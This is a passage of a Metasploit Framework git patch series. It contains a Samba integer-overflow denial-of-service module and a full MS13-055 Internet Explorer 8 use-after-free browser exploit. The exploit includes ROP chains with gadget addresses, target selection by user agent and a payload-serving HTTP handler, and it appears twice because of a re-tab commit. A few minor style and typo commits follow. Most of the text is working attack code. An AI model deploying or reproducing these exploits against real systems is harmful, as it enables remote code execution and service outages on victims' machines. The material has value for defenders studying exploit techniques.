'uint8', 'NameLen', 0x07 ], # Length of Name parameter minus trailing '\0' - [ 'uint16v', 'ValueLen', 0x04 ], # Random valuelen with value - [ 'string', 'Name', 7, Rex::Text.rand_text_alpha(6) + "\x00" ], # Random string must end with '\0' - [ 'string', 'Value', nil, "\x00\x00\x00\x00" ] + [ 'uint32v', 'NextOffset', 0 ], + [ 'uint8', 'Flags', 0 ], + [ 'uint8', 'NameLen', 0 ], + [ 'uint16v', 'ValueLen', 0 ], + [ 'string', 'Name', nil, '' ], + [ 'string', 'Value', nil, '' ] ) def initialize(info = {}) super(update_info(info, - 'Name' => 'Samba read_nttrans_ea_list Integer Overflow', - 'Description' => %q{ - Integer overflow in the read_nttrans_ea_list function in nttrans.c - in smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x - before 4.0.8 allows remote attackers to cause a denial of service - (memory consumption) via a malformed packet. - Note: "ea support" option on share must be enabled + 'Name' => 'Samba read_nttrans_ea_list Integer Overflow', + 'Description' => %q{ + Integer overflow in the read_nttrans_ea_list function in nttrans.c in + smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before + 4.0.8 allows remote attackers to cause a denial of service (memory + consumption) via a malformed packet. Important Note: in order to work + the "ea support" option on the target share must be enabled. }, - 'Author' => - [ 'dz_lnly', ], - 'License' => MSF_LICENSE, - 'References' => + 'Author' => [ - ['CVE', '2013-4124'], + 'Jeremy Allison', # Vulnerability discovery + 'dz_lnly' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '95969'], + ['BID', '61597'], + ['EDB', '27778'], + ['CVE', '2013-4124'] ], )) register_options( [ OptString.new('SMBShare', [true, 'Target share', '']), - OptString.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', '1500']), - OptString.new('Tries', [true, 'Number of DOS tries', '40']), + OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]), + OptInt.new('Tries', [true, 'Number of DOS tries', 40]), ], self.class) end @@ -64,31 +66,45 @@ class Metasploit3 < Msf::Auxiliary ok = self.simple.client.create("/") return ok['Payload'].v['FileID'] end + def mk_items_payload item1 = FEA_LIST.make_struct + item1.v['ValueLen'] = datastore['MsgLen'] + item1.v['Value'] = "\x00" * datastore['MsgLen'] + item1.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item1.v['NameLen'] = item1.v['Name'].length item2 = FEA_LIST.make_struct + item2.v['ValueLen'] = datastore['MsgLen'] + item2.v['Value'] = "\x00" * datastore['MsgLen'] + item2.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item2.v['NameLen'] = item1.v['Name'].length item3 = FEA_LIST.make_struct # Some padding - item2.v['ValueLen'] = item1.v['ValueLen'] = datastore['MsgLen'].to_i - item2.v['Value'] = item1.v['Value'] = "\x00" * datastore['MsgLen'].to_i + item3.v['ValueLen'] = 4 + item3.v['Value'] = "\x00\x00\x00\x00" + item3.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00" + item3.v['NameLen'] = item1.v['Name'].length + ilen = item1.to_s.length item1.v['NextOffset'] = ilen # Wrap offset to 0x00 item2.v['NextOffset'] = 0xffffffff - ilen + 1 return item1.to_s + item2.to_s + item3.to_s end + def send_pkt fid = get_fid trans = TRANS2_PARAM.make_struct trans.v['FID'] = fid + trans.v['InfoLevel'] = 1015 # SMB_FILE_FULL_EA_INFORMATION data = mk_items_payload subcmd = 0x08 self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false) end - def run - n = datastore['Tries'].to_i; - n.times do + def run + print_status("Trying a max of #{datastore['Tries']} times...") + datastore['Tries'].times do connect() smb_login() self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") @@ -98,12 +114,15 @@ class Metasploit3 < Msf::Auxiliary begin self.simple.client.create("") - print_status('Server Responce, DOS unsuccessfull') - return + print_status('Server Answered, DoS unsuccessful') rescue Timeout::Error print_good('Server timed out, this is expected') + return + rescue Rex::Proto::SMB::Exceptions::InvalidType + print_status('Server Answered, DoS unsuccessful') end disconnect() end end + end From c3db41334bc510cf03cb99abdcfc6e4c8a11d8d6 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 8 Sep 2013 20:02:23 -0500 Subject: [PATCH 104/160] Add MS13-055 Internet Explorer Use-After-Free Vulnerability In IE8 standards mode, it's possible to cause a use-after-free condition by first creating an illogical table tree, where a CPhraseElement comes after CTableRow, with the final node being a sub table element. When the CPhraseElement's outer content is reset by using either outerText or outerHTML through an event handler, this triggers a free of its child element (in this case, a CAnchorElement, but some other objects apply too), but a reference is still kept in function SRunPointer::SpanQualifier. This function will then pass on the invalid reference to the next functions, eventually used in mshtml!CElement::Doc when it's trying to make a call to the object's SecurityContext virtual function at offset +0x70, which results a crash. An attacker can take advantage of this by first creating an CAnchorElement object, let it free, and then replace the freed memory with another fake object. Successfully doing so may allow arbitrary code execution under the context of the user. This bug is specific to Internet Explorer 8 only. It was originally discovered by Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so no CVE as of now. --- .../windows/browser/ms13_055_canchor.rb | 260 ++++++++++++++++++ 1 file changed, 260 insertions(+) create mode 100644 modules/exploits/windows/browser/ms13_055_canchor.rb diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb new file mode 100644 index 0000000000..0a9153dfaf --- /dev/null +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -0,0 +1,260 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", + 'Description' => %q{ + In IE8 standards mode, it's possible to cause a use-after-free condition by first + creating an illogical table tree, where a CPhraseElement comes after CTableRow, + with the final node being a sub table element. When the CPhraseElement's outer + content is reset by using either outerText or outerHTML through an event handler, + this triggers a free of its child element (in this case, a CAnchorElement, but + some other objects apply too), but a reference is still kept in function + SRunPointer::SpanQualifier. This function will then pass on the invalid reference + to the next functions, eventually used in mshtml!CElement::Doc when it's trying to + make a call to the object's SecurityContext virtual function at offset +0x70, which + results a crash. An attacker can take advantage of this by first creating an + CAnchorElement object, let it free, and then replace the freed memory with another + fake object. Successfully doing so may allow arbitrary code execution under the + context of the user. + + This bug is specific to Internet Explorer 8 only. It was originally discovered by + Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Orange Tsai', # Original discovery, PoC + 'Peter Vreugdenhil', # Joins the party (wtfuzz) + 'sinn3r' # Joins the party + ], + 'References' => + [ + [ 'MSB', 'MS15-055' ], + [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'IE 8 on Windows XP SP3', + { + 'Rop' => :msvcrt, + 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret + 'Align' => 0x77c4d801 # add esp, 0x2c; ret + } + ], + [ + 'IE 8 on Windows 7', + { + 'Rop' => :jre, + 'Pivot' => 0x7c348b05, # xchg eax, esp; ret + 'Align' => 0x7C3445F8 # add esp, 0x2c; ret + } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'StackAdjustment' => -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + 'DisclosureDate' => "Jul 09 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end + + nil + end + + def get_payload(t, cli) + rop = '' + code = payload.encoded + esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + + case t['Rop'] + when :msvcrt + # Stack adjustment # add esp, -3500 + esp_align = "\x81\xc4\x54\xf2\xff\xff" + + print_status("Using msvcrt ROP") + rop = + [ + 0x77c1e844, # POP EBP # RETN [msvcrt.dll] + 0x77c1e844, # skip 4 bytes [msvcrt.dll] + 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] + 0xffffffff, + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] + 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] + 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] + 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] + 0x77c3048a, # POP EDI # RETN [msvcrt.dll] + 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] + 0x77c46efb, # POP ESI # RETN [msvcrt.dll] + 0x77c2aacc, # JMP [EAX] [msvcrt.dll] + 0x77c3b860, # POP EAX # RETN [msvcrt.dll] + 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] + 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] + 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] + ].pack("V*") + else + print_status("Using JRE ROP") + rop = + [ + 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) + 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] + 0x7c3415a2, # JMP [EAX] [msvcr71.dll] + 0xffffffff, + 0x7c376402, # skip 4 bytes [msvcr71.dll] + 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] + 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] + 0x7c344f87, # POP EDX # RETN [msvcr71.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] + 0x7c34d201, # POP ECX # RETN [msvcr71.dll] + 0x7c38b001, # &Writable location [msvcr71.dll] + 0x7c347f97, # POP EAX # RETN [msvcr71.dll] + 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] + 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] + # rop chain generated with mona.py + ].pack("V*") + end + + rop_payload = rop + rop_payload << esp_align + rop_payload << code + rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt + + rop_payload + end + + def junk + rand_text_alpha(4).unpack("V")[0].to_i + end + + def nop + make_nops(4).unpack("V")[0].to_i + end + + def get_html(t, p) + js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) + js_payload = Rex::Text.to_unescape(p) + js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) + js_junk = Rex::Text.to_unescape([junk].pack("V*")) + + q_id = Rex::Text.rand_text_alpha(1) + + html = %Q| + + + + + + + + + + +
+ + + +
+ + + + + +
+ + + | + + html.gsub(/^\t\t/, '') + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + t = get_target(agent) + + if t + p = get_payload(t, cli) + html = get_html(t, p) + print_status("Sending exploit...") + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + else + print_error("Not a suitable target: #{agent}") + send_not_found(cli) + end + end +end From 3d48ba5cda584b010ae1fae8255fd82e986a65b9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 8 Sep 2013 20:26:20 -0500 Subject: [PATCH 105/160] Escape dot on regex --- .../auxiliary/admin/scada/ge_proficy_substitute_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index 660c4272e7..cbb688bcd6 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary res = sock.get_once disconnect - if res and res =~ /gefebt.exe/ + if res and res =~ /gefebt\.exe/ return true else return false From 992bdcf530bbbe55548268eaa5c1c3c43b1cbf17 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 9 Sep 2013 00:36:28 -0500 Subject: [PATCH 106/160] Not from the future --- modules/exploits/windows/browser/ms13_055_canchor.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 0a9153dfaf..1dad1ffc26 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - [ 'MSB', 'MS15-055' ], + [ 'MSB', 'MS13-055' ], [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] ], 'Platform' => 'win', From 2d9eb9e89b415822503c499e2360bb6489179f09 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 9 Sep 2013 09:34:48 -0500 Subject: [PATCH 107/160] Be more explicit about two-space tabs --- HACKING | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/HACKING b/HACKING index 000924485c..942d46ee2a 100644 --- a/HACKING +++ b/HACKING @@ -9,7 +9,7 @@ Code Style In order to maintain consistency and readability, we ask that you adhere to the following style guidelines: - - Standard Ruby soft tabs, not hard tabs. + - Standard Ruby two-space soft tabs, not hard tabs. - Try to keep your lines under 100 columns (assuming two-space tabs) - do; end instead of {} for a block - Always use str[0,1] instead of str[0] From 6ab905e9e086e8dbe096fc7ebb1b3e3681f1a8d2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 9 Sep 2013 09:39:02 -0500 Subject: [PATCH 108/160] Less alignment --- modules/exploits/windows/browser/ms13_055_canchor.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 1dad1ffc26..400c554a87 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -68,10 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'BadChars' => "\x00", - 'StackAdjustment' => -3500 + 'BadChars' => "\x00" }, - 'DefaultOptions' => + 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, From 0ee0168556ac40d65c31769101ff79cc9311d5fb Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 9 Sep 2013 10:01:01 -0500 Subject: [PATCH 109/160] Retabbed One kills a man, one is an assassin; one kills millions, one is a conqueror; one kills a tab, one is a Metasploit dev. --- .../windows/browser/ms13_055_canchor.rb | 436 +++++++++--------- 1 file changed, 218 insertions(+), 218 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 400c554a87..f55d09caad 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -8,252 +8,252 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = NormalRanking - include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::HttpServer::HTML - def initialize(info={}) - super(update_info(info, - 'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", - 'Description' => %q{ - In IE8 standards mode, it's possible to cause a use-after-free condition by first - creating an illogical table tree, where a CPhraseElement comes after CTableRow, - with the final node being a sub table element. When the CPhraseElement's outer - content is reset by using either outerText or outerHTML through an event handler, - this triggers a free of its child element (in this case, a CAnchorElement, but - some other objects apply too), but a reference is still kept in function - SRunPointer::SpanQualifier. This function will then pass on the invalid reference - to the next functions, eventually used in mshtml!CElement::Doc when it's trying to - make a call to the object's SecurityContext virtual function at offset +0x70, which - results a crash. An attacker can take advantage of this by first creating an - CAnchorElement object, let it free, and then replace the freed memory with another - fake object. Successfully doing so may allow arbitrary code execution under the - context of the user. + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", + 'Description' => %q{ + In IE8 standards mode, it's possible to cause a use-after-free condition by first + creating an illogical table tree, where a CPhraseElement comes after CTableRow, + with the final node being a sub table element. When the CPhraseElement's outer + content is reset by using either outerText or outerHTML through an event handler, + this triggers a free of its child element (in this case, a CAnchorElement, but + some other objects apply too), but a reference is still kept in function + SRunPointer::SpanQualifier. This function will then pass on the invalid reference + to the next functions, eventually used in mshtml!CElement::Doc when it's trying to + make a call to the object's SecurityContext virtual function at offset +0x70, which + results a crash. An attacker can take advantage of this by first creating an + CAnchorElement object, let it free, and then replace the freed memory with another + fake object. Successfully doing so may allow arbitrary code execution under the + context of the user. - This bug is specific to Internet Explorer 8 only. It was originally discovered by - Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Orange Tsai', # Original discovery, PoC - 'Peter Vreugdenhil', # Joins the party (wtfuzz) - 'sinn3r' # Joins the party - ], - 'References' => - [ - [ 'MSB', 'MS13-055' ], - [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] - ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', {} ], - [ - 'IE 8 on Windows XP SP3', - { - 'Rop' => :msvcrt, - 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret - 'Align' => 0x77c4d801 # add esp, 0x2c; ret - } - ], - [ - 'IE 8 on Windows 7', - { - 'Rop' => :jre, - 'Pivot' => 0x7c348b05, # xchg eax, esp; ret - 'Align' => 0x7C3445F8 # add esp, 0x2c; ret - } - ] - ], - 'Payload' => - { - 'BadChars' => "\x00" - }, - 'DefaultOptions' => - { - 'InitialAutoRunScript' => 'migrate -f' - }, - 'Privileged' => false, - 'DisclosureDate' => "Jul 09 2013", - 'DefaultTarget' => 0)) - end + This bug is specific to Internet Explorer 8 only. It was originally discovered by + Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Orange Tsai', # Original discovery, PoC + 'Peter Vreugdenhil', # Joins the party (wtfuzz) + 'sinn3r' # Joins the party + ], + 'References' => + [ + [ 'MSB', 'MS13-055' ], + [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'IE 8 on Windows XP SP3', + { + 'Rop' => :msvcrt, + 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret + 'Align' => 0x77c4d801 # add esp, 0x2c; ret + } + ], + [ + 'IE 8 on Windows 7', + { + 'Rop' => :jre, + 'Pivot' => 0x7c348b05, # xchg eax, esp; ret + 'Align' => 0x7C3445F8 # add esp, 0x2c; ret + } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + 'DisclosureDate' => "Jul 09 2013", + 'DefaultTarget' => 0)) + end - def get_target(agent) - return target if target.name != 'Automatic' + def get_target(agent) + return target if target.name != 'Automatic' - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' - ie_name = "IE #{ie}" + ie_name = "IE #{ie}" - case nt - when '5.1' - os_name = 'Windows XP SP3' - when '6.1' - os_name = 'Windows 7' - end + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.1' + os_name = 'Windows 7' + end - targets.each do |t| - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) - return t - end - end + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end - nil - end + nil + end - def get_payload(t, cli) - rop = '' - code = payload.encoded - esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + def get_payload(t, cli) + rop = '' + code = payload.encoded + esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 - case t['Rop'] - when :msvcrt - # Stack adjustment # add esp, -3500 - esp_align = "\x81\xc4\x54\xf2\xff\xff" + case t['Rop'] + when :msvcrt + # Stack adjustment # add esp, -3500 + esp_align = "\x81\xc4\x54\xf2\xff\xff" - print_status("Using msvcrt ROP") - rop = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") - else - print_status("Using JRE ROP") - rop = - [ - 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN - 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) - 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] - 0x7c3415a2, # JMP [EAX] [msvcr71.dll] - 0xffffffff, - 0x7c376402, # skip 4 bytes [msvcr71.dll] - 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] - 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] - 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] - 0x7c344f87, # POP EDX # RETN [msvcr71.dll] - 0xffffffc0, # Value to negate, will become 0x00000040 - 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] - 0x7c34d201, # POP ECX # RETN [msvcr71.dll] - 0x7c38b001, # &Writable location [msvcr71.dll] - 0x7c347f97, # POP EAX # RETN [msvcr71.dll] - 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] - 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] - 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] - # rop chain generated with mona.py - ].pack("V*") - end + print_status("Using msvcrt ROP") + rop = + [ + 0x77c1e844, # POP EBP # RETN [msvcrt.dll] + 0x77c1e844, # skip 4 bytes [msvcrt.dll] + 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] + 0xffffffff, + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] + 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] + 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] + 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] + 0x77c3048a, # POP EDI # RETN [msvcrt.dll] + 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] + 0x77c46efb, # POP ESI # RETN [msvcrt.dll] + 0x77c2aacc, # JMP [EAX] [msvcrt.dll] + 0x77c3b860, # POP EAX # RETN [msvcrt.dll] + 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] + 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] + 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] + ].pack("V*") + else + print_status("Using JRE ROP") + rop = + [ + 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) + 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] + 0x7c3415a2, # JMP [EAX] [msvcr71.dll] + 0xffffffff, + 0x7c376402, # skip 4 bytes [msvcr71.dll] + 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] + 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] + 0x7c344f87, # POP EDX # RETN [msvcr71.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] + 0x7c34d201, # POP ECX # RETN [msvcr71.dll] + 0x7c38b001, # &Writable location [msvcr71.dll] + 0x7c347f97, # POP EAX # RETN [msvcr71.dll] + 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] + 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] + # rop chain generated with mona.py + ].pack("V*") + end - rop_payload = rop - rop_payload << esp_align - rop_payload << code - rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt + rop_payload = rop + rop_payload << esp_align + rop_payload << code + rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt - rop_payload - end + rop_payload + end - def junk - rand_text_alpha(4).unpack("V")[0].to_i - end + def junk + rand_text_alpha(4).unpack("V")[0].to_i + end - def nop - make_nops(4).unpack("V")[0].to_i - end + def nop + make_nops(4).unpack("V")[0].to_i + end - def get_html(t, p) - js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) - js_payload = Rex::Text.to_unescape(p) - js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) - js_junk = Rex::Text.to_unescape([junk].pack("V*")) + def get_html(t, p) + js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) + js_payload = Rex::Text.to_unescape(p) + js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) + js_junk = Rex::Text.to_unescape([junk].pack("V*")) - q_id = Rex::Text.rand_text_alpha(1) + q_id = Rex::Text.rand_text_alpha(1) - html = %Q| + html = %Q| - - - - - - - - -
- - - -
- - - - - -
- + mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"}); + } + + + +
+ + + +
+ + + + + +
+ - | + | - html.gsub(/^\t\t/, '') - end + html + end - def on_request_uri(cli, request) - agent = request.headers['User-Agent'] - t = get_target(agent) + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + t = get_target(agent) - if t - p = get_payload(t, cli) - html = get_html(t, p) - print_status("Sending exploit...") - send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) - else - print_error("Not a suitable target: #{agent}") - send_not_found(cli) - end - end + if t + p = get_payload(t, cli) + html = get_html(t, p) + print_status("Sending exploit...") + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + else + print_error("Not a suitable target: #{agent}") + send_not_found(cli) + end + end end From d6e4e46d8602029b58bd768090279f04f8280d0d Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 9 Sep 2013 12:16:15 -0500 Subject: [PATCH 110/160] better validation of buffer register --- lib/msf/core/exe/segment_injector.rb | 3 +++ spec/lib/msf/core/exe/segment_injector_spec.rb | 14 ++++++++++++++ 2 files changed, 17 insertions(+) diff --git 